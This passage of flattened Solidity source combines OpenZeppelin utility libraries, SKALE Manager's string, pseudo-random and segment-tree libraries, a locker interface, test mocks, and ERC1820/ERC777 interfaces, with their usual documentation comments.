repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.6.0; import "../Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity ^0.6.0; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* StringUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library StringUtils { using SafeMath for uint; function strConcat(string memory a, string memory b) internal pure returns (string memory) { bytes memory _ba = bytes(a); bytes memory _bb = bytes(b); string memory ab = new string(_ba.length.add(_bb.length)); bytes memory strBytes = bytes(ab); uint k = 0; uint i = 0; for (i = 0; i < _ba.length; i++) { strBytes[k++] = _ba[i]; } for (i = 0; i < _bb.length; i++) { strBytes[k++] = _bb[i]; } return string(strBytes); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title Random * @dev The library for generating of pseudo random numbers */ library Random { using SafeMath for uint; struct RandomGenerator { uint seed; } /** * @dev Create an instance of RandomGenerator */ function create(uint seed) internal pure returns (RandomGenerator memory) { return RandomGenerator({seed: seed}); } function createFromEntropy(bytes memory entropy) internal pure returns (RandomGenerator memory) { return create(uint(keccak256(entropy))); } /** * @dev Generates random value */ function random(RandomGenerator memory self) internal pure returns (uint) { self.seed = uint(sha256(abi.encodePacked(self.seed))); return self.seed; } /** * @dev Generates random value in range [0, max) */ function random(RandomGenerator memory self, uint max) internal pure returns (uint) { assert(max > 0); uint maxRand = uint(-1).sub(uint(-1).mod(max)); if (uint(-1).sub(maxRand) == max.sub(1)) { return random(self).mod(max); } else { uint rand = random(self); while (rand >= maxRand) { rand = random(self); } return rand.mod(max); } } /** * @dev Generates random value in range [min, max) */ function random(RandomGenerator memory self, uint min, uint max) internal pure returns (uint) { assert(min < max); return min.add(random(self, max.sub(min))); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTree.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Random.sol"; /** * @title SegmentTree * @dev This library implements segment tree data structure * * Segment tree allows effectively calculate sum of elements in sub arrays * by storing some amount of additional data. * * IMPORTANT: Provided implementation assumes that arrays is indexed from 1 to n. * Size of initial array always must be power of 2 * * Example: * * Array: * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * Segment tree structure: * +-------------------------------+ * | 36 | * +---------------+---------------+ * | 10 | 26 | * +-------+-------+-------+-------+ * | 3 | 7 | 11 | 15 | * +---+---+---+---+---+---+---+---+ * | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +---+---+---+---+---+---+---+---+ * * How the segment tree is stored in an array: * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ * | 36 | 10 | 26 | 3 | 7 | 11 | 15 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+ */ library SegmentTree { using Random for Random.RandomGenerator; using SafeMath for uint; struct Tree { uint[] tree; } /** * @dev Allocates storage for segment tree of `size` elements * * Requirements: * * - `size` must be greater than 0 * - `size` must be power of 2 */ function create(Tree storage segmentTree, uint size) external { require(size > 0, "Size can't be 0"); require(size & size.sub(1) == 0, "Size is not power of 2"); segmentTree.tree = new uint[](size.mul(2).sub(1)); } /** * @dev Adds `delta` to element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] */ function addToPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].add(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Subtracts `delta` from element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] * - initial value of target element must be not less than `delta` */ function removeFromPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].sub(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].sub(delta); } } /** * @dev Adds `delta` to element of segment tree at `toPlace` * and subtracts `delta` from element at `fromPlace` * * Requirements: * * - `fromPlace` must be in range [1, size] * - `toPlace` must be in range [1, size] * - initial value of element at `fromPlace` must be not less than `delta` */ function moveFromPlaceToPlace( Tree storage self, uint fromPlace, uint toPlace, uint delta ) external { require(_correctPlace(self, fromPlace) && _correctPlace(self, toPlace), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; uint middle = leftBound.add(rightBound).div(2); uint fromPlaceMove = fromPlace > toPlace ? toPlace : fromPlace; uint toPlaceMove = fromPlace > toPlace ? fromPlace : toPlace; while (toPlaceMove <= middle || middle < fromPlaceMove) { if (middle < fromPlaceMove) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } middle = leftBound.add(rightBound).div(2); } uint leftBoundMove = leftBound; uint rightBoundMove = rightBound; uint stepMove = step; while(leftBoundMove < rightBoundMove && leftBound < rightBound) { uint middleMove = leftBoundMove.add(rightBoundMove).div(2); if (fromPlace > middleMove) { leftBoundMove = middleMove.add(1); stepMove = stepMove.add(stepMove).add(1); } else { rightBoundMove = middleMove; stepMove = stepMove.add(stepMove); } self.tree[stepMove.sub(1)] = self.tree[stepMove.sub(1)].sub(delta); middle = leftBound.add(rightBound).div(2); if (toPlace > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Returns random position in range [`place`, size] * with probability proportional to value stored at this position. * If all element in range are 0 returns 0 * * Requirements: * * - `place` must be in range [1, size] */ function getRandomNonZeroElementFromPlaceToLast( Tree storage self, uint place, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { require(_correctPlace(self, place), "Incorrect place"); uint vertex = 1; uint leftBound = 0; uint rightBound = getSize(self); uint currentFrom = place.sub(1); uint currentSum = sumFromPlaceToLast(self, place); if (currentSum == 0) { return 0; } while(leftBound.add(1) < rightBound) { if (_middle(leftBound, rightBound) <= currentFrom) { vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); } else { uint rightSum = self.tree[_right(vertex).sub(1)]; uint leftSum = currentSum.sub(rightSum); if (Random.random(randomGenerator, currentSum) < leftSum) { // go left vertex = _left(vertex); rightBound = _middle(leftBound, rightBound); currentSum = leftSum; } else { // go right vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); currentFrom = leftBound; currentSum = rightSum; } } } return leftBound.add(1); } /** * @dev Returns sum of elements in range [`place`, size] * * Requirements: * * - `place` must be in range [1, size] */ function sumFromPlaceToLast(Tree storage self, uint place) public view returns (uint sum) { require(_correctPlace(self, place), "Incorrect place"); if (place == 1) { return self.tree[0]; } uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); sum = sum.add(self.tree[step]); } } sum = sum.add(self.tree[step.sub(1)]); } /** * @dev Returns amount of elements in segment tree */ function getSize(Tree storage segmentTree) internal view returns (uint) { if (segmentTree.tree.length > 0) { return segmentTree.tree.length.div(2).add(1); } else { return 0; } } /** * @dev Checks if `place` is valid position in segment tree */ function _correctPlace(Tree storage self, uint place) private view returns (bool) { return place >= 1 && place <= getSize(self); } /** * @dev Calculates index of left child of the vertex */ function _left(uint vertex) private pure returns (uint) { return vertex.mul(2); } /** * @dev Calculates index of right child of the vertex */ function _right(uint vertex) private pure returns (uint) { return vertex.mul(2).add(1); } /** * @dev Calculates arithmetical mean of 2 numbers */ function _middle(uint left, uint right) private pure returns (uint) { return left.add(right).div(2); } } // SPDX-License-Identifier: AGPL-3.0-only /* ILocker.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the Locker functions. */ interface ILocker { /** * @dev Returns and updates the total amount of locked tokens of a given * `holder`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the total non-transferrable and un-delegatable * amount of a given `holder`. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: AGPL-3.0-only /* NodesMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../BountyV2.sol"; import "../Permissions.sol"; contract NodesMock is Permissions { uint public nodesCount = 0; uint public nodesLeft = 0; // nodeId => timestamp mapping (uint => uint) public lastRewardDate; // nodeId => left mapping (uint => bool) public nodeLeft; // nodeId => validatorId mapping (uint => uint) public owner; function registerNodes(uint amount, uint validatorId) external { for (uint nodeId = nodesCount; nodeId < nodesCount + amount; ++nodeId) { lastRewardDate[nodeId] = now; owner[nodeId] = validatorId; } nodesCount += amount; } function removeNode(uint nodeId) external { ++nodesLeft; nodeLeft[nodeId] = true; } function changeNodeLastRewardDate(uint nodeId) external { lastRewardDate[nodeId] = now; } function getNodeLastRewardDate(uint nodeIndex) external view returns (uint) { require(nodeIndex < nodesCount, "Node does not exist"); return lastRewardDate[nodeIndex]; } function isNodeLeft(uint nodeId) external view returns (bool) { return nodeLeft[nodeId]; } function getNumberOnlineNodes() external view returns (uint) { return nodesCount.sub(nodesLeft); } function checkPossibilityToMaintainNode(uint /* validatorId */, uint /* nodeIndex */) external pure returns (bool) { return true; } function getValidatorId(uint nodeId) external view returns (uint) { return owner[nodeId]; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManagerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../interfaces/IMintableToken.sol"; import "../Permissions.sol"; contract SkaleManagerMock is Permissions, IERC777Recipient { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } function payBounty(uint validatorId, uint amount) external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); require(IMintableToken(address(skaleToken)).mint(address(this), amount, "", ""), "Token was not minted"); require( IMintableToken(address(skaleToken)) .mint(contractManager.getContract("Distributor"), amount, abi.encode(validatorId), ""), "Token was not minted" ); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleToken") // solhint-disable-next-line no-empty-blocks { } } pragma solidity ^0.6.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. * * Accounts can be notified of {IERC777} tokens being sent to them by having a * contract implement this interface (contract holders can be their own * implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: AGPL-3.0-only /* IMintableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will 